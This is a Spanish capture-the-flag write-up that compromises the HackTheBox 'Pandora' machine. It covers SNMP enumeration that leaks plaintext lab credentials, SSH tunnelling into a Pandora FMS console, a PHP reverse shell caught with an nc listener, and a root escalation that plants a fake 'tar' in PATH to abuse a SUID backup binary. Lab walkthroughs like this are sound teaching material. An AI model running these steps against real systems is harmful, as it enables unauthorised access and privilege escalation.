Pandora es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Pandora 10.129.131.128 a /etc/hosts como pandora.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
# Nmap 7.92 scan initiated Tue Jan 11 07:58:20 2022 as: nmap -sV -sC -oA enumeration/nmap 10.129.131.128 Nmap scan report for 10.129.131.128 Host is up (0.046s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 24:c2:95:a5:c3:0b:3f:f3:17:3c:68:d7:af:2b:53:38 (RSA) | 256 b1:41:77:99:46:9a:6c:5d:d2:98:2f:c0:32:9a:ce:03 (ECDSA) |_ 256 e7:36:43:3b:a9:47:8a:19:01:58:b2:bc:89:f6:51:08 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Play | Landing |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Jan 11 07:58:32 2022 -- 1 IP address (1 host up) scanned in 11.49 seconds |
Vemos un puerto 80 perteneciente a un portal web, pero lanzamos también el escaneo por udp el cual nos saca lo siguiente
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
# Nmap 7.92 scan initiated Tue Jan 11 08:10:58 2022 as: nmap -sU -sV -sC -oA enumeration/nmap_udp 10.129.131.128 Nmap scan report for pandora.htb (10.129.131.128) Host is up (0.054s latency). Not shown: 998 closed udp ports (port-unreach) PORT STATE SERVICE VERSION 68/udp open|filtered dhcpc 161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public) | snmp-processes: .... .... | snmp-win32-software: .... .... | snmp-interfaces: | lo | IP address: 127.0.0.1 Netmask: 255.0.0.0 | Type: softwareLoopback Speed: 10 Mbps | Traffic stats: 2.07 Mb sent, 2.07 Mb received | VMware VMXNET3 Ethernet Controller | IP address: 10.129.131.128 Netmask: 255.255.0.0 | MAC address: 00:50:56:b9:00:19 (VMware) | Type: ethernetCsmacd Speed: 4 Gbps |_ Traffic stats: 1.51 Gb sent, 192.60 Mb received | snmp-info: | enterprise: net-snmp | engineIDFormat: unknown | engineIDData: 48fa95537765c36000000000 | snmpEngineBoots: 31 |_ snmpEngineTime: 1h33m51s | snmp-sysdescr: Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64 |_ System uptime: 1h33m50.66s (563066 timeticks) | snmp-netstat: | TCP 0.0.0.0:22 0.0.0.0:0 | TCP 10.129.131.128:22 10.10.14.51:60500 | TCP 10.129.131.128:58102 8.8.8.8:53 | TCP 127.0.0.1:3306 0.0.0.0:0 | TCP 127.0.0.53:53 0.0.0.0:0 | UDP 0.0.0.0:68 *:* | UDP 0.0.0.0:161 *:* |_ UDP 127.0.0.53:53 *:* Service Info: Host: pandora Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Jan 11 08:32:56 2022 -- 1 IP address (1 host up) scanned in 1317.98 seconds |
Realizada la enumeración principal vamos con ello.
Enumeración
Empezaremos como de costumbre revisando el portal web cuyo aspecto es el siguiente
Revisamos la página en detalle pero parece que en la misma no hay nada de nada, así que vamos a chequear el puerto de snmp que vimos en el escaneo de puertos udp. Utilizaremos para ello la tool snmpwalk y la comunity public a ver si nos da algo de información:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ snmpwalk -v 2c 10.129.131.128 -c public iso.3.6.1.2.1.1.1.0 = STRING: "Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64" iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10 iso.3.6.1.2.1.1.3.0 = Timeticks: (467172) 1:17:51.72 iso.3.6.1.2.1.1.4.0 = STRING: "Daniel" iso.3.6.1.2.1.1.5.0 = STRING: "pandora" iso.3.6.1.2.1.1.6.0 = STRING: "Mississippi" iso.3.6.1.2.1.1.7.0 = INTEGER: 72 iso.3.6.1.2.1.1.8.0 = Timeticks: (6) 0:00:00.06 ... ... iso.3.6.1.2.1.88.1.4.3.1.3.6.95.115.110.109.112.100.95.109.116.101.84.114.105.103.103.101.114.70.105.114.101.100 = STRING: "_triggerFire" iso.3.6.1.2.1.88.1.4.3.1.3.6.95.115.110.109.112.100.95.109.116.101.84.114.105.103.103.101.114.82.105.115.105.110.103 = STRING: "_triggerFire" iso.3.6.1.2.1.92.1.1.1.0 = Gauge32: 1000 iso.3.6.1.2.1.92.1.1.2.0 = Gauge32: 1440 iso.3.6.1.2.1.92.1.2.1.0 = Counter32: 0 iso.3.6.1.2.1.92.1.2.2.0 = Counter32: 0 |
Y entre todos los datos obtenidos vemos una línea muy interesante
1 |
iso.3.6.1.2.1.25.4.2.1.5.1122 = STRING: "-u daniel -p HotelBabylon23" |
Parecen las credenciales de un usuario así que probamos el acceso y conseguimos entrar por ssh a la máquina, parece demasiado fácil, pero aqui no acaba ya que este usuario no puede obtener la flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
$ ssh daniel@pandora.htb The authenticity of host 'pandora.htb (10.129.131.128)' can't be established. ECDSA key fingerprint is SHA256:9urFJN3aRYRRc9S5Zc+py/w4W6hmZ+WLg6CyrY+5MDI. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'pandora.htb,10.129.131.128' (ECDSA) to the list of known hosts. daniel@pandora.htb's password: Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Tue 11 Jan 07:16:20 UTC 2022 System load: 0.09 Processes: 232 Usage of /: 65.0% of 4.87GB Users logged in: 0 Memory usage: 11% IPv4 address for eth0: 10.129.131.128 Swap usage: 0% => /boot is using 91.8% of 219MB 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. daniel@pandora:~$ ls -l total 0 daniel@pandora:~$ |
Como no podemos obtener la flag vamos a enumerar la máquina y encontramos que el puerto 80 está abierto a local asi que vamos a testear que hay con un curl y vemos lo siguiente
1 2 |
daniel@pandora:~$ curl localhost <meta HTTP-EQUIV="REFRESH" content="0; url=/pandora_console/"> |
Hay una url a la cual no teníamos acceso antes, y esto se debe a que sólo tiene permitido el acceso en local, así que necesitaremos hacer un tunel para poder acceder a la misma.
Como disponemos de claves ssh, crearemos un tunel a local para poder acceder a la web
1 |
$ sudo ssh -L 80:localhost:80 daniel@pandora.htb |
Así que abrimos nuestro tunel y vamos al navegador a http://localhost para ver el siguiente portal web
Se trata del software Pandora FMS un software de monitorización. Comprobamos si nuestras credenciales son válidas pero sin éxito, así que buscamos en el portal y en el código fuente y encontramos la versión utilizada por la herramienta
1 |
v7.0NG.742_FIX_PERL2020 |
Investigamos acerca de la vulnerabilidad y descubrimos que dicha versión tiene 4 vulnerabilidades importantes
- SQL Injection (pre authentication) (CVE-2021-32099)
- Phar deserialization (pre authentication) (CVE-2021-32098)
- Remote File Inclusion (lowest privileged user) (CVE-2021-32100)
- Cross-Site Request Forgery (CSRF)
Hacemos algunas pruebas y observamos que con sqlmap podemos obtener algunos datos, como el id de sesión del usuario matt, aunque esto no es del todo útil, así que seguimos buscando en google y encontramos un post que explica bastante bien la vulnerabilidad en el siguiente enlace y el código vulnerable por lo que podemos hacernos una idea de que se debe de realizar a continuación.
Así que generamos nuestro payload y lo lanzaremos sobre el portal para obtener acceso como admin (debido a que es una versión que todavía se encuentra disponible en muchas instalaciones y la gravedad de la misma no voy a publica el exploit como tal en la web, de todas formas si alguien tiene dudas al respecto puede preguntar y le ayudaré a conseguirlo)
Una vez dentro ahora debemos de subir un fichero a través del cual consigamos acceso. Así que como somos admin vamos a la sección de file manager y subiremos nuestra reverse shell en php
Una vez subida, ejecutamos el fichero que podremos encontrar en la ruta
1 |
http://localhost/pandora_console/images/file.php |
Y obtendremos una shell con el usuario matt
1 2 3 4 5 6 7 8 9 10 11 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.51] from pandora.htb [10.129.131.196] 36498 Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux 12:11:24 up 3:31, 1 user, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT daniel pts/0 10.10.14.51 09:42 11.00s 0.18s 0.18s -bash uid=1000(matt) gid=1000(matt) groups=1000(matt) /bin/sh: 0: can't access tty; job control turned off $ id uid=1000(matt) gid=1000(matt) groups=1000(matt) |
Obteniendo la flag de user
Ahora que ya estamos dentro con el usuario matt sólo queda ir a la home y obtener la flag
1 2 3 4 5 6 7 |
$ cd /home/matt $ ls -l total 4 -rw-r----- 1 matt matt 33 Jan 11 08:41 user.txt $ cat user.txt fxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx6 $ |
Escalado de privilegios
Lo primero que hacemos siempre es verificar que permisos dispone el usuario pero parece que hay un error con la terminal que tenemos
1 2 3 |
$ sudo -l sudo: PERM_ROOT: setresuid(0, -1, -1): Operation not permitted sudo: unable to initialize policy plugin |
Así que en primer lugar, generamos una clave ssh y accedemos a través de ssh a la máquina con el usuario para corregir los problemas con nuestra terminal
Una vez hecho, enumeramos el sistema y encontramos un ficheros con permisos de suid bastante interesante
1 2 3 |
matt@pandora:/$ ls -l ./usr/bin/pandora_backup ls -l ./usr/bin/pandora_backup -rwsr-x--- 1 root matt 16816 Dec 3 15:58 ./usr/bin/pandora_backup |
Revisamos el mismo y se trata de un fichero ejecutable que se encarga de realizar un backup del portal de pandora
1 2 3 |
matt@pandora:/$ file ./usr/bin/pandora_backup file ./usr/bin/pandora_backup ./usr/bin/pandora_backup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7174c3b04737ad11254839c20c8dab66fce55af8, for GNU/Linux 3.2.0, not stripped |
Para ello vamos a verlo en detalle ejecutando el mismo y vemos el siguiente resultado
1 2 3 4 5 6 7 8 9 10 11 12 |
matt@pandora:~$ /usr/bin/pandora_backup PandoraFMS Backup Utility Now attempting to backup PandoraFMS client tar: Removing leading `/' from member names /var/www/pandora/pandora_console/AUTHORS tar: Removing leading `/' from hard link targets /var/www/pandora/pandora_console/COPYING /var/www/pandora/pandora_console/DB_Dockerfile ... /var/www/pandora/pandora_console/ws.php Backup successful! Terminating program! |
Exactamente hace un backup de un directorio situado en la home de root, y además observamos que lanza el binario tar sin especificar el path del mismo por lo que puede ser el punto necesario para el escalado.
Crearemos entonces un directorio para albergar nuestro fichero tar y el el mismo fichero
1 2 3 4 |
matt@pandora:/tmp/zzzzzz$ ls /bin/sh /bin/sh matt@pandora:/tmp/zzzzzz$ echo "/bin/sh" > tar matt@pandora:/tmp/zzzzzz$ chmod +x tar |
Y añadiremos la ruta de nuestro directorio a la variable PATH
1 |
matt@pandora:/tmp/zzzzzz$ export PATH=$(pwd):$PATH |
Cargada la ruta sólo nos queda ejecutar de nuevo el binario para obtener acceso como root
1 2 3 4 5 |
matt@pandora:/tmp/zzzzzz$ /usr/bin/pandora_backup PandoraFMS Backup Utility Now attempting to backup PandoraFMS client # id uid=0(root) gid=1000(matt) groups=1000(matt) |
Obteniendo la flag de root
Y ahora que ya somos root, vamos a su home a por nuestra flag
1 2 3 4 5 6 7 |
# cd /root # ls -l total 4 -r-------- 1 root root 33 Jan 11 08:41 root.txt # cat root.txt dxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxf # |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace